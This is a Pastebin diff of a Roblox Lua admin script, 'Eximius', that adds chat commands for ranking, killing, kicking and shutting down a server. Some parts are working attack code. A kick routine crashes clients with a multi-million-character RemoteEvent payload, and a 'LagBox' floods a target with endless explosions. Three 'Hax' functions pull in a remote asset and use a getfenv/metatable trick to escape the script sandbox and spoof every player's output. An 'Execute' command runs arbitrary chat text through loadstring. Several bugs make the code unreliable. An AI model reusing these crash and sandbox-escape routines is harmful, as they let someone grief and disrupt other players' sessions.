View difference between Paste ID: KJAcpz59 and 3u7T0wtW
SHOW: | | - or go back to the newest paste.
1
Eximius = {
2
          Functions = {};
3
          Services = {};
4
          Ranked = {
5-
                    {Name = 'BlueHasSwag', Rank = 1337, Reason = 'Creator', Color = 'Neon blue'};
5+
                    {Name = 'sonic7394', Rank = 7, Reason = 'Creator', Color = 'Bright blue'};
6
          }; 
7
          Players = {};
8
          Prefix = ";";
9
          Rotation = 0;
10
          Tablets = {};
11
          Commands = {};
12
          Ranks = {
13-
                    [7] = "Rank 1337";
13+
                    [7] = "Rank 7";
14
                    [6] = "Rank 6";
15
                    [5] = "Rank 5";
16
                    [4] = "Rank 4";
17
                    [3] = "Rank 3";
18
                    [2] = "Rank 2";
19
                    [1] = "Rank 1";
20
                    [0] = "Rank 0";
21
                    [-1] = "Banned";
22
          }; 
23
}
24
Eximius.Services = {
25
 Http = game:GetService('HttpService');
26
 Workspace = game:service'Workspace';--//or game:service'Workspace';
27
 Players = game:service'Players';
28
 MarktPlace = game:service'MarketplaceService';
29
}
30
31
32
33
Eximius.Functions.AddRank = function(Name, Reason, Rank, Color)
34
          table.insert(Eximius.Ranked,{Name = Name, Reason = Reason, Rank = Rank, Color = Color})
35
end 
36
37
Eximius.Functions.GetColor = function(plr)
38
          if type(plr) == "userdata" then
39
                      plr = plr.Name
40
              elseif type(plr) == "string" then
41
                      plr = plr
42
              else
43
                      plr = tostring(plr)
44
          end 
45
          for Index, Value in pairs(Eximius.Ranked) do
46
                      if Value.Name == plr then
47
                                 return Value.Color
48
                      end 
49
          end 
50
          return 'White'
51
end 
52
53
54
Eximius.Functions.GetRank = function(plr)
55
          if type(plr) == "userdata" then
56
                      plr = plr.Name
57
              elseif type(plr) == "string" then
58
                      plr = plr
59
              else
60
                      plr = tostring(plr)
61
          end 
62
          for Index, Value in pairs(Eximius.Ranked) do
63
                      if Value.Name == plr then
64
                                 return Value.Rank
65
                      end 
66
          end 
67
          return 0
68
end 
69
70
71
72
73
Eximius.Functions.Output = function(Player, Text, Color, Func)
74
        if Text == nil then Text = Text end
75
        Text = '\n'..Text
76
        if Color == nil then Color = 'White' end
77
    local Output=Instance.new('Part',workspace)
78
        Output.Anchored = true
79
        Output.CanCollide = false
80
        Output.TopSurface = 'Smooth'
81
        Output.BottomSurface = 'Smooth'
82
        Output.Transparency = .9
83
        Output.FormFactor = 'Custom'
84
        Output.Name = 'Eximius_Admin Generation 1'
85
        Output.Parent = game.Workspace
86
        Output.Anchored = true
87
        Output.Size = Vector3.new(2.3, 2.3, 2.3)
88
        pcall(function() Output.CFrame = Player.Character.Torso.CFrame end)
89
        Output.BrickColor = BrickColor.new(Color)
90
        Output.Material = 'Neon'
91
        --//Output.Size = Vector3.new(2.5, 2.5, 2.5)
92
        
93
        local Light=Instance.new('PointLight',Output)
94
         Light.Brightness = 1.6
95
     
96
     local SBox = Instance.new("SelectionBox", Output)
97
     SBox.Adornee = Output
98
     SBox.Transparency = 0
99
     SBox.LineThickness = 0.027
100
     SBox.Color = BrickColor.new(Color)
101
102
      local Gui = Instance.new("BillboardGui", Output)
103
      Gui.Adornee = Output
104
      Gui.Size = UDim2.new(1, 0, 1, 0)
105
      Gui.StudsOffset = Vector3.new(0, 3, 0)
106
      local TLabel = Instance.new("TextLabel", Gui)
107
      TLabel.Text = Text
108
      TLabel.TextStrokeTransparency = 0
109
      TLabel.Transparency = 1
110
      TLabel.Font = 'SourceSansBold'
111
      TLabel.FontSize = 'Size24'
112
      TLabel.TextTransparency = 0
113
      TLabel.Size = UDim2.new(1, 0, 1, 0)
114
      TLabel.TextColor3 = Output.Color
115
      TLabel.BorderColor3 = Color3.new(0, 3, 0)
116
      local ClickD = Instance.new("ClickDetector", Output)
117
      ClickD.MaxActivationDistance = 1/0
118
      ClickD.MouseClick:connect(function(p)
119
              if p.Name == Player.Name or Eximius.Functions.GetRank(p) > Eximius.Functions.GetRank(Player) then
120
                                Output:Destroy()
121
                                for i,v in pairs(Eximius["Tablets"]) do
122
                                        if v.Name == Output.Name then
123
                                                table.remove(Eximius["Tablets"], i)
124
                                        end
125
                                end
126
                                if Func ~= nil then
127
                                        a,b = ypcall(function()
128
                                                Func()
129
                                        end) if not a then Eximius.Functions.Output(b,"Really red") end
130
                                end
131
                        end
132
                end)
133
                --[[for Size = 2.5,3,0 do
134
                          Output.Size = Vector3.new(Size, Size, Size)--//woops
135
                end]]--
136
                
137
      table.insert(Eximius.Tablets,{Tab = Output, Text = TLabel, Player = Player, Box = Sel})
138
end 
139
140
local stime = tick()
141
142
local starttime = tick()
143
144
Eximius.Functions.RotateTabs = function()
145
local Rotation = Eximius.Rotation
146
Rotation = Eximius.Rotation+(0.5/360)
147
for _,Player in pairs(game:service'Players':GetPlayers()) do
148
local Counter = 0
149
local PlayerTablets = {}
150
for i,v in pairs(Eximius.Tablets) do
151
if v.Tab.Parent ~= nil and v.Player == Player then
152
table.insert(PlayerTablets,v)
153
end;end;
154
local Start = CFrame.new(0,0,0)
155
for I = 1, #PlayerTablets do
156
local radius = (#PlayerTablets*.6)+1
157
local Pos = nil
158
pcall(function() Pos = Player.Character.Torso.CFrame end)
159
if Pos == nil then return end
160
local Main = (I / #PlayerTablets - (0.3 / #PlayerTablets) + Eximius.Rotation/(#PlayerTablets/7)) * math.pi * 2
161
local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*I) * (#PlayerTablets+2)
162
local y = math.sin(tick()+I)*.75;
163
local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*I) * (#PlayerTablets+2)
164
local aPos = Vector3.new(x, y, z) + Pos.p
165
local bPos = PlayerTablets[I].Tab.CFrame.p
166
local cPos = (aPos * .1 + bPos * .9)
167
PlayerTablets[I].Tab.CFrame = CFrame.new(cPos, Pos.p)
168
local d = math.rad((Rotation * 300)*math.pi);
169
PlayerTablets[I].Tab.CFrame = CFrame.new(cPos,Pos.p)*CFrame.Angles(math.rad(tick()),math.rad(tick()),math.rad(tick())) --//Somethings Wrong with search sounds
170
end;end;end;
171
172
Eximius.Functions.AddCommand = function(Name, Say, Desc, Rank, Func)
173
          Eximius.Commands[Name] = {Name = Name, Say = Say, Desc = Desc, Rank = Rank, Func = Func}
174
end  
175
--//LET ME
176
177
178
Eximius.Functions.GetRanked = function(Self)
179
        Eximius.Functions.Dismiss(Self)
180
        for i,v in pairs(Eximius.Ranked) do
181
                wait()
182
                 Eximius.Functions.Output(Self, v['Name']..' ('..v['Rank']..')', 'Bright blue', true,function()
183
                        Eximius.Functions.Dismiss(Self)
184
                        if Eximius.Ranked[Self.Name]['Rank'] > Eximius.Ranked[Self.Name]['Rank'] then
185
                                Eximius.Functions.Output(Self, 'Set Rank', 'Bright blue', false,function()
186
                                        Eximius.Functions.Dismiss(Self)
187
                                        for i=-1, Eximius.Ranked[Self.Name]['Rank'] do
188
                                                Eximius.Functions.Output(Self, 'Set rank to'..i, 'White', false,function()
189
                                                        Eximius.Functions.Dismiss(Self)
190
                                                        v['Rank'] = i
191
                                                        Eximius.Functions.Output(Self, v['Name'].."'s rank has been set to "..i, 'White', true)
192
                                                end)
193
                                        end
194
                                end)
195
                        end
196
                        Eximius.Functions.Output(Self,'Name: '..v['Name'], 'Bright Blue', false)
197
                        Eximius.Functions.Output(Self,'Desc: '..v['Desc'], 'Bright Blue', false)
198
                                          Eximius.Functions.Output(Self, 'Add to Pri', function()
199
                                                                                                              Eximius.Pri_List[v['Name']] = true
200
                                                                                                              end)
201
                        if game.Players:FindFirstChild(v['Name']) then
202
                                Eximius.Functions.Output(Self,'AccountAge: '..game.Players:FindFirstChild(v['Name']).AccountAge, 'Bright blue', false)
203
                                Eximius.Functions.Output(Self,'UserID: '..game.Players:FindFirstChild(v['Name']).userId, 'Bright blue', false)
204
                              
205
                                                               
206
                        end
207
                end)
208
        end
209
end
210
211
Eximius.Functions.SoundSearch = function(Plr,Name)
212
        Eximius.Functions.Dismiss(Plr)
213
        Eximius.Functions.Output(Plr, 'Searching For: '..Name, 'Black', true)
214
         wait(1.5)
215
         Eximius.Functions.Dismiss(Plr)
216
        local Get = Eximius.Services.Http:GetAsync('http://roblox-proxy.cf/catalog/json?Category=9&Keyword='..Name)
217
        local Songs = Eximius.Services.Http:JSONDecode(Get)
218
        local i = 1
219
        repeat
220
                local SongName  = string.gsub(Songs[i].Name,"'","'")
221
                local ID = Songs[i].AssetId
222
                local SongDesc = Songs[i].Description
223
                local Creator = Songs[i].Creator
224
                Eximius.Functions.Output(Plr, SongName,'White',false,function()
225
                        Eximius.Functions.Dismiss(Plr)
226
                        Eximius.Functions.Output(Plr, 'Song name: '..SongName,'Black', false,nil)
227
                        Eximius.Functions.Output(Plr,  'Description: '..SongDesc,'Black', false,nil)
228
                        Eximius.Functions.Output(Plr, 'Creator: '..Creator,'Black', false,nil)
229
                           Eximius.Functions.Output(Plr, 'Sound Settings','Lime green',true, function()
230
                           Eximius.Functions.Dismiss(Plr)
231
                           
232
                                Eximius.Functions.Output(Plr, 'Set Pitch | 2','Lime green',true, function()
233
                                Sound.Pitch = 2
234
                            end)
235
                                Eximius.Functions.Output(Plr, 'Set Pitch | 1','Lime green',true, function()
236
                                Sound.Pitch = 1
237
                                end)
238
                                Eximius.Functions.Output(Plr, 'High Volume','Lime green',true, function()
239
                                        Sound.Volume = 10
240
                                end)
241
                                Eximius.Functions.Output(Plr, 'Normal Volume','Lime green',true, function()
242
                                        Sound.Volume = 1
243
                                end)
244
                                Eximius.Functions.Output(Plr, 'Loop Sound','Lime green',true, function()
245
                                        Sound.Looped = true
246
                                end)
247
                                Eximius.Functions.Output(Plr, 'StopLoop','Lime green',true, function()
248
                                        Sound.Looped = false
249
                                end)
250
                            
251
                        end)
252
                        
253
                        
254
                                Eximius.Functions.Output(Plr, 'Stop Sounds','Really red', true,function()
255
                                        Sound:Stop()
256
                                       end)
257
                                
258
                        Eximius.Functions.Output(Plr, 'Play','White', true,function()
259
                             Sound = Instance.new('Sound')
260
                                Sound.SoundId = 'http://www.roblox.com/asset/?id='..ID
261
                                Sound:Play()
262
                                Sound.Parent = workspace
263
                                wait()
264
                                Sound:Play()
265
                                                        end)
266
                end)
267
                wait()
268
                i = i + 1
269
        until i == 20 or i == #Songs
270
end
271
272
for _,Player in pairs(game:GetService("Players"):GetPlayers()) do
273
           Eximius.Functions.Output(Player, "Welcome to Eximius Gen.V1", "Really red")
274
           Eximius.Functions.Output(Player, "Your Rank : " ..Eximius.Functions.GetRank(Player))
275
           Eximius.Functions.Output(Player, "Eximius Took "..stime.." to start.", "Megenta")
276
           Player.Chatted:connect(function(message)
277
                       Eximius.Functions.OnChatted(Player, message)
278
           end) 
279
end
280
281
Eximius.Functions.OnChatted = function(plr, msg)
282
          for i,v in pairs(Eximius.Commands) do
283
                      if msg:lower():sub(1,#v['Say']+#Eximius.Prefix) == v['Say']..Eximius.Prefix then
284
                               if Eximius.Functions.GetRank(plr) >= v.Rank then
285
                                         msg=msg:sub(1+#v['Say']+#Eximius.Prefix)
286
                                         a,b=ypcall(function()
287
                                                     v['Func'](plr, msg)
288
                                         end) if not a then warn(b) end
289
                                         else
290
                                               Eximius.Functions.Output(plr, "Your Rank is too low to execute rank : "..v['Rank']..' Command', 'Really red')
291
                                               wait(3)
292
                                               Eximius.Functions.Dismiss(plr)
293
                               end 
294
                      end 
295
          end 
296
end 
297
298
Eximius.Functions.GetPlayers=function(plr, msg, all)
299
        local plrs = {}
300
        if msg:match("^!") then
301
                return Eximius.Functions.GetPlayers(plr, msg:sub(2), true)
302
        elseif msg == "me" then
303
                table.insert(plrs, plr)
304
        elseif msg == "all" then
305
                for _,v in pairs(game:service'Players':players()) do
306
                        if all or Eximius.Functions.GetRank(v) <= Eximius.Functions.GetRank(plr) then
307
                                table.insert(plrs, v)
308
                        end
309
                end
310
        elseif msg == "others" then
311
                for _,v in pairs(game:service'Players':players()) do
312
                        if v ~= plr then
313
                                if all or Eximius.Functions.GetRank(v) <= Eximius.Functions.GetRank(plr) then
314
                                        table.insert(plrs, v)
315
                                end
316
                        end
317
                end
318
        else
319
                for _,v in pairs(game:service'Players':players()) do
320
                        if v.Name:lower():sub(1,#msg) == msg:lower() then
321
                                if all or Eximius.Functions.GetRank(v) <= Eximius.Functions.GetRank(plr) then
322
                                        table.insert(plrs, v)
323
                                end
324
                        end
325
                end
326
     end
327
     return plrs
328
end
329
 
330
331
Eximius.Functions.Dismiss = function(plr)
332
          for i,v in pairs(Eximius.Tablets) do
333
                      if v.Player == plr then
334
                                v.Tab:Destroy()
335
                      end 
336
          end 
337
end 
338
339
Eximius.Functions.LagBox = function(Plr)
340
model = Instance.new("Model")
341
model.Name = "Circle"
342
model.Parent = game.Workspace
343
344
345
                    Plr.CameraMode=Enum.CameraMode.LockFirstPerson 
346
                    
347
348
position = CFrame.new(0, 1, 0)
349
number = 1000
350
radius = 10
351
size = Vector3.new(2.2,500,0.2)
352
353
script.Name = 'Lag_Room'
354
355
m=Instance.new('Hint',Plr.PlayerGui)
356
m.Text = 'LagB0x has began!'
357
358
359
for i=1, number, 10 do
360
part = Instance.new("Part",workspace.Base)
361
Plr.Character.Torso.CFrame = CFrame.new(part.Position)
362
part.Anchored = true
363
part.BrickColor = BrickColor.new('Magenta')
364
part.Material = 'Neon'
365
part.Locked = true
366
part.Transparency = .5
367
part.formFactor = "Custom"
368
part.Parent = model
369
part.Size = size
370
sine = math.sin((360/number + 360/number*i)/(180/math.pi))
371
cosine = math.cos((360/number + 360/number*i)/(180/math.pi))
372
part.CFrame = position + Vector3.new(radius*sine, 0, radius*cosine)
373
--part.CFrame = CFrame.Angles(math.rad(i),math.rad(i),math.rad(i))
374
wait()
375
end
376
377
while wait() do
378
w0=Instance.new('Explosion',part)
379
w1=Instance.new('Explosion',part)
380
w2=Instance.new('Explosion',part)
381
w3=Instance.new('Explosion',part)
382
w4=Instance.new('Explosion',part)
383
w5=Instance.new('Explosion',part)
384
w6=Instance.new('Explosion',part)
385
end
386
while wait() do
387
f1=Instance.new('ForceField',plr)
388
f2=Instance.new('ForceField',plr)
389
f3=Instance.new('ForceField',plr)
390
f4=Instance.new('ForceField',plr)
391
f5=Instance.new('ForceField',plr)
392
f6=Instance.new('ForceField',plr)
393
end
394
end
395
396
397
Lightning = function(Start,End,Times,Offset,Color,Thickness,Transparency)
398
    local magz = (Start - End).magnitude local curpos = Start local trz = {-Offset,Offset}
399
    for i=1,Times do 
400
        local li = Instance.new("Part",workspace) li.TopSurface =0 li.BottomSurface = 0 li.Anchored = true  li.Transparency = Transparency or 0.4 li.BrickColor = BrickColor.new(Color)
401
        li.formFactor = "Custom" li.CanCollide = false li.Size = Vector3.new(Thickness,Thickness,magz/Times) local ofz = Vector3.new(trz[math.random(1,2)],trz[math.random(1,2)],trz[math.random(1,2)]) 
402
        function touch(hit) 
403
                if hit.Parent:findFirstChild("Humanoid") ~= nil then 
404
                hit.Parent:BreakJoints()
405
                end end li.Touched:connect(touch)
406
                local trolpos = CFrame.new(curpos,End)*CFrame.new(0,0,magz/Times).p+ofz
407
        if Times == i then 
408
            local magz2 = (curpos - End).magnitude li.Size = Vector3.new(Thickness,Thickness,magz2)
409
            li.CFrame = CFrame.new(curpos,End)*CFrame.new(0,0,-magz2/2)
410
        else
411
            li.CFrame = CFrame.new(curpos,trolpos)*CFrame.new(0,0,magz/Times/2)
412
        end
413
        curpos = li.CFrame*CFrame.new(0,0,magz/Times/2).p game.Debris:AddItem(li,0.25)
414
    end
415
end
416
417
Eximius.Functions.Kick = function(Plr)
418
            local h=Instance.new('RemoteEvent',workspace):FireClient(Plr,{string.rep("get owned lold",2e5+5)}) 
419
        delay(3,function()
420
                pcall(function()
421
                        h:remove() 
422
                end)
423
        end)
424
end
425
426
Eximius.Functions.Hax = function(Txt)
427
        rawset(shared, "\0bp", function()local i=game:service'InsertService':LoadAssetVersion(519416165);local n=i:children()[1];game:service'Debris':AddItem(i,0);n.Parent=workspace;coroutine.yield();local e;pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function()e=getfenv(2)end,__metatable=''}));_G.OSC_AddServerSideData=nil;game:service'Debris':AddItem(n,0);return e end);y=shared['\0bp']();shared["\0bp"]=nil;game:GetService'ReplicatedStorage':ClearAllChildren();logtxt=''; function writelog(msg) for _, item in ipairs(workspace:GetChildren()) do if item:IsA'Hint' then item:Destroy();end;end; for _, p in pairs(y.game:GetService'Players':GetPlayers()) do local m=y.Instance.new'StringValue'; m.Value='["Print","'..Txt..'"]'; m.Name="SB_Output:Output"; m.Parent=p end end
428
        writelog(Txt)
429
end
430
431
Eximius.Functions.EHax = function(Txt)
432
        rawset(shared, "\0bp", function()local i=game:service'InsertService':LoadAssetVersion(519416165);local n=i:children()[1];game:service'Debris':AddItem(i,0);n.Parent=workspace;coroutine.yield();local e;pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function()e=getfenv(2)end,__metatable=''}));_G.OSC_AddServerSideData=nil;game:service'Debris':AddItem(n,0);return e end);y=shared['\0bp']();shared["\0bp"]=nil;game:GetService'ReplicatedStorage':ClearAllChildren();logtxt=''; function writelog(msg) for _, item in ipairs(workspace:GetChildren()) do if item:IsA'Hint' then item:Destroy();end;end; for _, p in pairs(y.game:GetService'Players':GetPlayers()) do local m=y.Instance.new'StringValue'; m.Value='["Error","'..Txt..'"]'; m.Name="SB_Output:Output"; m.Parent=p end end
433
        writelog(Txt)
434
end
435
436
Eximius.Functions.WHax = function(Txt)
437
        rawset(shared, "\0bp", function()local i=game:service'InsertService':LoadAssetVersion(519416165);local n=i:children()[1];game:service'Debris':AddItem(i,0);n.Parent=workspace;coroutine.yield();local e;pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function()e=getfenv(2)end,__metatable=''}));_G.OSC_AddServerSideData=nil;game:service'Debris':AddItem(n,0);return e end);y=shared['\0bp']();shared["\0bp"]=nil;game:GetService'ReplicatedStorage':ClearAllChildren();logtxt=''; function writelog(msg) for _, item in ipairs(workspace:GetChildren()) do if item:IsA'Hint' then item:Destroy();end;end; for _, p in pairs(y.game:GetService'Players':GetPlayers()) do local m=y.Instance.new'StringValue'; m.Value='["Warn","'..Txt..'"]'; m.Name="SB_Output:Output"; m.Parent=p end end
438
        writelog(Txt)
439
end
440
441
Eximius.Functions.OpenCommands = function(Speaker, rank)
442
                    Eximius.Functions.Dismiss(Speaker)
443
          table.foreach(Eximius.Commands,function(i,v)
444
                  if v['Rank'] <= rank then
445
                      Eximius.Functions.Output(Speaker, v.Name, Eximius.Functions.GetColor(v), function()
446
                                Eximius.Functions.Dismiss(Speaker)
447
                                Eximius.Functions.Output(Speaker, "Name : " ..v.Name, Eximius.Functions.GetColor(v))
448
                                Eximius.Functions.Output(Speaker, "Usage : " ..v.Say..Eximius.Prefix, Eximius.Functions.GetColor(v))
449
                                Eximius.Functions.Output(Speaker, "Desc : " ..v.Desc, Eximius.Functions.GetColor(v))
450
                                Eximius.Functions.Output(Speaker, "Rank : " ..v.Rank, Eximius.Functions.GetColor(v))
451
                                Eximius.Functions.Output(Speaker, "Dismiss", "Really red", function() Eximius.Functions.Dismiss(Speaker) end)
452
                                
453
                           end) 
454
                      end
455
          end) 
456
end 
457
458
Eximius.Functions.Test = function(Speaker, Msg)
459
	Eximius.Functions.Output(Speaker, 'Eximius is running.','Deep blue',nil)
460
	Eximius.Functions.Output(Speaker, 'Eximius Generation 1','Hot pink',nil)
461
	Eximius.Functions.Outpue(Speaker, 'Dismiss','Really red', function()
462
		Eximius.Functions.Dismiss()
463
	end)
464
end
465
466
Eximius.Functions.AddCommand('Ranked','ranked','Shows all ranked players.',1,function(Speaker)
467
    Eximius.Functions.GetRanked(Speaker)
468
    end)
469
470
Eximius.Functions.AddCommand('Show commands','cmds','Opens all commands',0,function(Player, Msg)
471
    Eximius.Functions.Dismiss(Player, Msg)
472
          Eximius.Functions.Output(Player, "Open commands that are avaiable.", "Really red", function() Eximius.Functions.OpenCommands(Player,Eximius.Functions.GetRank(Player)) end)
473
          for i = 0,7 do
474
                     Eximius.Functions.Output(Player, " " ..Eximius.Ranks[i].. " Commands", Eximius.Functions.GetColor(Player), function() Eximius.Functions.Dismiss(Player) Eximius.Functions.OpenCommands(Player, i) end)
475
          end 
476
          Eximius.Functions.Output(Player, "Your Rank : " ..Eximius.Functions.GetRank(Player),"Teal")
477
          Eximius.Functions.Output(Player, "Dismiss", "Really red", function() Eximius.Functions.Dismiss(Player) end)
478
end) 
479
480
481
Eximius.Functions.AddCommand('Char','ch','Chars you to the said player ID.',2,function(Plr,Txt)
482
Plr.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Txt
483
Plr:LoadCharacter()
484
end)
485
486
Eximius.Functions.AddCommand('Test','Test','Tests to see if the script is running',1,function(Speaker, Msg)
487
	Eximius.Functions.Test()
488
	end)
489
490
Eximius.Functions.AddCommand('Ban','ban','Bans the said player from the server.',4,function(Plr,Txt)
491
    Eximius.Functions.Dismiss(Plr)
492
        local plrs = Eximius.Functions.GetPlayers(Plr, Txt)
493
        for i,v in pairs(plrs) do
494
                if v then
495
                    wait(.1)
496
                        Eximius.Functions.Kick(v)
497
                        Eximius.Ranked[v.Name]['Rank'] = -1
498
                        Eximius.Ranked[v.Name]['Reason'] = 'Banned via ban command. {Temp}'
499
                end
500
        end
501
end)
502
503
Eximius.Functions.AddCommand('Dismiss','dt','Dismisses your tablet.',0,function(Speaker, Msg)
504
           Eximius.Functions.Dismiss(Speaker)
505
end) 
506
507
Eximius.Functions.AddCommand('LagBox', 'lbox','Lags a player inside a box. {AKF: Pyrex}',6, function(Plr, Txt)
508
        local plrs = Eximius.Functions.GetPlayers(Plr, Txt)
509
        for i,v in pairs(plrs) do
510
                if v then
511
            Eximius.Functions.Output(Plr,'Lagging '..v.Name..'With lagBox','Really red', true)
512
               Eximius.Functions.LagBox(v)
513
               Plr.AncestryChanged:connect(function(child, parent)
514
        Eximius.Functions.Output(Plr, v.Name..'Has Crashed from LagBox.','Really red', true)
515
end)
516
            end
517
            end
518
        end)
519
520
Eximius.Functions.AddCommand('Dismiss all','dall','Dismsises everyones tabs.',4,function(Speaker, Msg)
521
          for i,v in pairs(game:GetService('Players'):GetPlayers()) do
522
                     Eximius.Functions.Dismiss(v)
523
          end 
524
end) 
525
526
Eximius.Functions.AddCommand('Kill','kill','Kills a player',2,function(Speaker, Msg)
527
Eximius.Functions.Dismiss(Speaker)
528
           local gPlayers=Eximius.Functions.GetPlayers(Speaker, Msg)
529
           for i,v in pairs(gPlayers) do
530
                        if v then
531
                                   pcall(function()
532
                                               v.Character:BreakJoints()
533
                                   end) 
534
                        end 
535
           end 
536
end) 
537
538
Eximius.Functions.AddCommand('Execute','exe','Executes a message.',5,function(Speaker, Msg)
539
Eximius.Functions.Dismiss(Speaker, Msg)
540
           local loadstring_message=loadstring(Msg)
541
           if(loadstring_message) then
542
                        a,b=ypcall(function()
543
                                   loadstring_message(Msg);
544
                        end) 
545
                        if not a then
546
                                  
547
                        end  
548
           end 
549
end) 
550
551
Eximius.Functions.AddCommand('Sound search','smusic','Sound searches some music.',1,function(Speaker, Msg)
552
         Eximius.Functions.Output(Speaker, "In progress scrubs.", "Really red")
553
end)
554
555
Eximius.Functions.AddCommand('Kick','kick','Kicks a player from game.',6,function(Speaker, Msg)
556
          local gPlayers=Eximius.Functions.GetPlayers(Speaker, Msg)
557
          for i,v in pairs(gPlayers) do
558
                      if v then
559
                                Eximius.Functions.Kick(v)
560
                      end 
561
          end
562
        end)
563
564
Eximius.Functions.AddCommand('Forcefield','ff','Gives you forcefield to a player.',2,function(Speaker, Msg)
565
          local gPlayers=Eximius.Functions.GetPlayers(Speaker, Msg)
566
          for i,v in pairs(gPlayers) do
567
                      if v then
568
                                Instance.new("ForceField", v.Character)
569
                      end 
570
          end 
571
end) 
572
573
Eximius.Functions.AddCommand('UnGod','ungod','Ungods a plr',2, function(Plr,Txt)
574
        local plrs = Eximius.Functions.GetPlayers(Plr, Txt)
575
        for i,v in pairs(plrs) do
576
                if v and v.Character and v.Character.Humanoid then
577
                        v.Character.Humanoid.MaxHealth = 100
578
                end 
579
        end
580
end)
581
582
Eximius.Functions.AddCommand('GPrint','gp','Prints all outputs your message{OX ONLY}',3, function(Plr, Txt)
583
Eximius.Functions.Hax(Txt)
584
Eximius.Functions.Output(Plr, 'Printed: <'..Txt..'> to all outputs!','White', nil)
585
end)
586
587
Eximius.Functions.AddCommand('WPrint','wp','WarnPrints all outputs your message{OX ONLY}',3, function(Plr, Txt)
588
Eximius.Functions.WHax(Txt)
589
Eximius.Functions.Output(Plr, 'Warned all players via Output! <'..Txt..'> !','Bright orange', nil)
590
end)
591
592
Eximius.Functions.AddCommand('EPrint','ep','ErrorPrints all outputs your message{OX ONLY}',3, function(Plr, Txt)
593
Eximius.Functions.EHax(Txt)
594
Eximius.Functions.Output(Plr, 'Broadcasted "FakeError" to all outputs! <'..Txt..'> !','Really red', nil)
595
end)
596
597
Eximius.Functions.AddCommand('Smite','smite','Heres how to kill people #Ded',6,function(Plr, Txt)
598
                local plrs = Eximius.Functions.GetPlayers(Plr, Txt)
599
        for i,v in pairs(plrs) do
600
                if v and v.Character then
601
                        Lightning(v.Character.Torso.Position+Vector3.new(0,50,0),v.Character.Torso.Position,3,math.random(-2.5,2.5),"New Yeller",.4,.4)
602
                        Instance.new("Explosion",v.Character.Torso).Position=v.Character.Torso.Position
603
                         Eximius.Functions.Output(Plr, 'Smited '..v.Name,'Lime green', false)
604
                end
605
        end
606
end)
607
608
609
Eximius.Functions.AddCommand('God','god','God yourself, gives you infinite health.',2,function(Speaker, Msg)
610
          local gPlayers=Eximius.Functions.GetPlayers(Speaker, Msg)
611
          for i,v in pairs(gPlayers) do
612
                     if v then
613
                                 v.Character.Humanoid.MaxHealth = math.huge
614
                     end 
615
          end 
616
end)
617
618
Eximius.Functions.AddCommand('Rank','rank','Shows how to get ranked',500,function(Speaker, Msg)
619
                Eximius.Functions.Dismiss(Speaker)
620
                        Eximius.Functions.Output(Speaker,'Then send the message to him with the fourm in','White',true)
621
                Eximius.Functions.Output(Speaker,'Make sure the info you filled is correct (To what it says)','White',true)
622
                Eximius.Functions.Output(Speaker,'If the info is correct, you will be added into the table.','White',true)
623
                Eximius.Functions.Output(Speaker,'Dismiss','Really red',function()
624
                        Eximius.Functions.Dismiss(Speaker)
625
        end)
626
end)
627
628
Eximius.Functions.AddCommand('AFK','afk','Shows your afk.',0,function(Speaker, Msg)
629
    Eximius.Functions.Dismiss(Speaker, Msg)
630
    for i = 1,5 do
631
    Eximius.Functions.Output(Speaker,'AFK Due To: '..Msg,'Really red',true)
632
    end
633
end)
634
635
Eximius.Functions.AddCommand('Credit','cred','Shows the credits.',0,function(Speaker, Msg)
636
        Eximius.Functions.Dismiss(Speaker)
637
        Eximius.Functions.Output(Speaker, 'Loading Credits..','Really red',function()
638
                wait(1)
639
                Eximius.Functions.Dismiss(Speaker)
640
                Eximius.Functions.Output(Speaker, 'MasterKelvinVIP | Helped with rot','New Yellow',true)
641
                Eximius.Functions.Output(Speaker, 'Dismiss','Really red',function()
642
                        Eximius.Functions.Dismiss(Speaker)
643
                end)
644
        end)
645
end)
646
647
648
Eximius.Functions.AddCommand('Back','back','Afk from back.',0,function(Speaker, Msg)
649
          Eximius.Functions.Dismiss(Speaker)
650
          for i = 1,5 do
651
                      Eximius.Functions.Output(Speaker, "Player is now : Back"..i,"Teal") 
652
          end 
653
end)
654
655
Eximius.Functions.AddCommand('Ping','ping','Pings a message.',2,function(Speaker, Msg)
656
          Eximius.Functions.Dismiss(Speaker)
657
          Eximius.Functions.Output(Speaker, Msg, Eximius.Functions.GetColor(Speaker))
658
end) 
659
660
Eximius.Functions.AddCommand('Ping All','msg','Pings a message to server.',3,function(Speaker, Msg)
661
          for i,v in pairs(game.Players:GetPlayers()) do
662
                      if v then
663
                                Eximius.Functions.Output(v, Msg, Eximius.Functions.GetColor(Speaker))
664
                      end 
665
          end 
666
end)
667
668
Eximius.Functions.AddCommand('Ask for rank up','rq','Rank up required.',0,function(Speaker, Msg)
669
          Eximius.Functions.Dismiss(Speaker)
670
          if Eximius.Functions.GetRank(Speaker) < 2 then
671
                     Eximius.Functions.Output(Speaker, "Cannot require rank up, sorry", "Really red")
672
          end 
673
end)
674
675
function DestroyScript()
676
          for i,v in pairs(workspace:children()) do
677
                      if v:IsA('Script') then
678
                                v:Destroy()
679
                      end 
680
          end 
681
end 
682
Eximius.Functions.AddCommand('Destroy script','destroys','Destroy\'s a script',7,function(Speaker, Msg)
683
          DestroyScript(Speaker)
684
end)
685
686
687
Eximius.Functions.AddCommand('Shutdown','sd','Shuts down the whole server.',5,function(Speaker, Msg)
688
    Eximius.Functions.Dismiss(Speaker)
689
    Eximius.Functions.Output(Speaker,'5','White')
690
    wait(1)
691
    Eximius.Functions.Output(Speaker,'4','White')
692
    wait(1)
693
    Eximius.Functions.Output(Speaker,'3','White')
694
    wait(1)
695
    Eximius.Functions.Output(Speaker,'2','White') 
696
    wait(1)
697
    Eximius.Functions.Output(Speaker,'1','White')
698
    Eximius.Functions.Dismiss(Speaker)
699
    Eximius.Functions.Output(Speaker,'Server Was ShutDown Due :'..Msg,'Really red')
700
    wait(.50)
701
          for i,v in pairs(game.Players:GetPlayers()) do
702
                     if v then
703
                                  Eximius.Functions.Kick(v)
704
                             end 
705
          end 
706
end)
707
708
Eximius.Functions.AddCommand('Update','update','Updates Script.',7,function(Speaker, Msg)
709
Eximius.Functions.Dismiss(Speaker)
710
          Eximius.Functions.Output(Speaker, "In progress.", "Really red")
711
end)
712
713
Eximius.Functions.AddCommand('Players','plrs','View all players',3,function(Speaker, Msg)
714
